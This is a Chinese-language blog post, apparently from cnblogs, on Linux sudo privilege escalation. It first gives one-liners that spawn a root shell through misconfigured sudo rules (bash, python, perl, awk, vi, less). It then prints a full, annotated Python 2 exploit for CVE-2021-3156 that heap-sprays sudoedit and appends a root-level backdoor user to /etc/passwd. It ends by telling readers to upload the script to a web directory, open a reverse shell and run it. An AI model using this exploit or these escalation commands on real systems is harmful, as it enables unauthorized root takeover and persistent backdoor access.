SUdo提权
SUDO提权
在Linux中,sudo bash提权是指利用sudo配置不当免密执行权限,直接或间接获取root shell,
核心思路:若sudo -l显示当前用户可免密执行 /bin/bash或其他可调用shell的命令,即可直接提升到root权限。
(1)检查当前sudo权限
Sudo -l
若输出包含 (root) NOPASSWD:/bin/bash ,可直接执行:sudo /bin/bash 即可进入root shell
即使没有 /bin/bash,若存在其他可调用shell的命令,也可提权,例如:
sudo sh
sudo zsh
sudo dash
sudo tcsh
这些命令在sudo -l中出现且免密时,均可直接获得root
二、利用可执行脚本/解释器:若sudo -l显示可免密执行某些解释器或工具,可通过调用系统命令提权:
【1】Python
sudo python3 -C 'import os; os.system("/bin/bash")'
【2】perl
sudo perl -e 'exec "/bin/bash";'
【3】Awk
sudo awk 'BEGIN {system("/bin/bash")}'
三、利用编辑器命令模式
若 sudo -l 中有 vi、vim、less、more 等,可进入命令模式执行 shell
例:vi提权
sudo vi -c ':!/bin/bash'
注:less、more 提权:
sudo less /etc/passwd # 进入到 less 界面后中输入 !/bin/bash
前提 ① sudo 配置不当(可以 root 权限执行)
② less 和 more 支持在查看文件时执行系统命令(通过 ! 前缀)
③ 当以 sudo 方式执行时,启动的 shell 会继承 root 权限
四、 CVE-2021-3156,也被称为 Baron Samedit
(1)这是一个影响 sudo 程序的严重本地提权漏洞,允许任何本地用户(无论是否在 sudoers 列表中)在无需密码的情况下获得 root 权限
(2)漏洞类型:堆缓冲区溢出(Heap-based Buffer Overflow)
(3)影响范围:主要影响
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1(sudo -v显示版本)
(4)漏洞原理:该漏洞源于 sudo 在解析命令行参数时,对反斜杠( \ )字符的转义处理存在缺陷。攻击者可以通过构造特殊的参数(如使用 sudoedit -s 命令),触发堆缓冲区溢出,从而覆盖相邻的内存区域,最终执行任意代码并获得 root 权限。因此只要存在sudoers文件(通常为/etc/sudoers,攻击者就可以使用本地普通用户利用sudo获得系统root权限)
(5) 检测方法:在普通用户下运行 sudoedit -s / 命令。
如果系统返回以 sudoedit: 开头的错误,则很可能存在漏洞(具体的大家可以尝试,不要因为没有显示“sudoedit”就觉得不存在漏洞),如果返回以 usage: 开头的错误,则说明系统已经打过补丁。
使用一个python脚本:(也可以自己上网去找exp)
#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER
# ====== 配置区 ======
SUDO_PATH = b"/usr/bin/sudo"
PASSWD_PATH = '/etc/passwd'
# 要追加到 /etc/passwd 的内容:用户名aa,密码hash,uid=0,gid=0,root权限
APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n"
# 栈地址页(需要根据目标系统调整)
# 关闭ASLR时: 0x7fffffff1000
# 开启ASLR时: 需要爆破,这里填一个可能的值
STACK_ADDR_PAGE = 0x7fffe5d35000
# ====== 基础函数 ======
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
"""fork子进程执行sudoedit"""
pid = os.fork()
if pid:
# 父进程等待子进程
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# 子进程执行
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
return spawn_raw(filename, cargv, cenvp)
# ====== 取消栈大小限制,允许分配大栈空间 ======
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
# ====== 构造argv ======
# sudoedit -A -s 会触发堆溢出漏洞
# -s 表示以shell模式运行
# -A 表示使用辅助程序获取密码
# 末尾的 "\\" 反斜杠是触发漏洞的关键(sudo对反斜杠转义处理有off-by-one)
TARGET_CMND_SIZE = 0x1b50
argv = [
"sudoedit",
"-A",
"-s",
PASSWD_PATH,
"A" * (TARGET_CMND_SIZE - 0x10 - len(PASSWD_PATH) - 1) + "\\", # 填充+反斜杠触发溢出
None
]
# ====== 构造fake数据结构(堆风水) ======
SA = STACK_ADDR_PAGE
# 各种指针,指向栈上的fake结构体
ADDR_REFSTR = pack('<Q', SA + 0x20) # ref string
ADDR_PRIV_PREV = pack('<Q', SA + 0x10) # privilege链表prev
ADDR_CMND_PREV = pack('<Q', SA + 0x18) # cmndspec链表prev
ADDR_MEMBER_PREV = pack('<Q', SA + 0x20) # member链表prev
ADDR_DEF_VAR = pack('<Q', SA + 0x10) # defaults.var
ADDR_DEF_BINDING = pack('<Q', SA + 0x30) # defaults.binding
OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA + OFFSET) # userspec
ADDR_MEMBER = pack('<Q', SA + OFFSET + 0x40) # member
ADDR_CMND = pack('<Q', SA + OFFSET + 0x40 + 0x30) # cmndspec
ADDR_PRIV = pack('<Q', SA + OFFSET + 0x40 + 0x30 + 0x60) # privilege
# ====== 构造堆喷页面(4KB对齐) ======
epage = [
'A' * 0x8 + # 不以0x00结尾
# fake def->var chunk(会被free)
'\x21', '', '', '', '', '', '',
ADDR_PRIV[:6], '', # pointer to privilege
ADDR_CMND[:6], '', # pointer to cmndspec
ADDR_MEMBER[:6], '', # pointer to member
# fake def->binding (list head)(会被free)
'\x21', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', # members.first
'A' * 0x10 + # members.last + padding
# userspec chunk(会被free)
'\x41', '', '', '', '', '', '', # chunk metadata
'', '', '', '', '', '', '', '', # entries.tqe_next
'A' * 0x8 + # entries.tqe_prev
'', '', '', '', '', '', '', '', # users.tqh_first
ADDR_MEMBER[:6] + '', '', # users.tqh_last
'', '', '', '', '', '', '', '', # privileges.tqh_first
ADDR_PRIV[:6] + '', '', # privileges.tqh_last
'', '', '', '', '', '', '', '', # comments.stqh_first
# member chunk
'\x31', '', '', '', '', '', '', # chunk size
'A' * 0x8 + # member.tqe_next
ADDR_MEMBER_PREV[:6], '', # member.tqe_prev
'A' * 0x8 + # member.name
pack('<H', 284), '', # type=284(CMND), negated
'A' * 0xc + # padding
# cmndspec chunk
'\x61' * 0x8 + # chunk metadata (prev_inuse flag)
'A' * 0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], '', # entries.tqe_prev
'', '', '', '', '', '', '', '', # runasuserlist
'', '', '', '', '', '', '', '', # runasgrouplist
ADDR_MEMBER[:6], '', # cmnd
'\xf9' + '\xff' * 0x17 + # tag (NOPASSWD), timeout, notbefore, notafter
'', '', '', '', '', '', '', '', # role
'', '', '', '', '', '', '', '', # type
'A' * 0x8 + # padding
# privileges chunk
'\x51' * 0x8 + # chunk metadata
'A' * 0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], '', # entries.tqe_prev
'A' * 0x8 + # ldap_role
'A' * 0x8 + # hostlist.tqh_first
ADDR_MEMBER[:6], '', # hostlist.tqh_last
'A' * 0x8 + # cmndlist.tqh_first
ADDR_CMND[:6], '', # cmndlist.tqh_last
]
# 填充到4KB页面对齐
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P' * (padlen - 1))
# ====== 构造env(利用堆溢出覆盖sudo内部数据结构) ======
env = [
# 覆盖到第一个defaults结构
"A" * (7 + 0x4010 + 0x110) +
"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
"A" * 0x18 +
# defaults结构
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
'a' * 8 + # prev
ADDR_DEF_VAR[:6] + '\\', '\\', # var
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
ADDR_DEF_BINDING[:6] + '\\', '\\', # binding
ADDR_REFSTR[:6] + '\\', '\\', # file
"Z" * 0x8 + # type, op, error, lineno
"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
'C' * 0x638 + # 填充到userspec
'B' * 0x1b0 + # userspec chunk
# 这个chunk不会被使用,但需要正确的链表遍历
"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
ADDR_USER[:6] + '\\', '\\', # entries.tqe_next -> 栈上的fake userspec
"A" * 8 + # entries.tqe_prev
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
ADDR_MEMBER[:6] + '\\', '\\', # users.tqh_last
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first
"LC_ALL=C",
# 关键:SUDO_EDITOR设为tee -a,这样sudo会调用tee追加内容到/etc/passwd
"SUDO_EDITOR=/usr/bin/tee -a",
"TZ=:", # 时区设为空,减少日志输出
]
# ====== 堆喷:用大量环境变量填充堆空间 ======
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
env.extend(epage)
# 最后一个元素:为'/usr/bin/sudo'路径和额外8字节留空间
env[-1] = env[-1][:-len(SUDO_PATH) - 1 - 8]
env.append(None)
# ====== 构造C类型的argv和envp ======
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
# ====== 准备stdin:写入要追加到passwd的内容 ======
# sudo调用tee -a时,会从stdin读取内容追加到/etc/passwd
r, w = os.pipe()
os.dup2(r, 0) # stdin读端
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT) # 写入恶意用户行
w.close()
# 关闭stderr,避免输出干扰
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
# ====== 爆破循环 ======
# 因为ASLR开启,栈地址不确定,需要多次尝试
for i in range(8192):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break
这个脚本使用python2运行,部分centos自带python的。
把脚本上传到网站目录,然后反弹一个交互shell,运行脚本。

成功后会生成一个aa的用户,默认密码为www

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20650906

浙公网安备 33010602011771号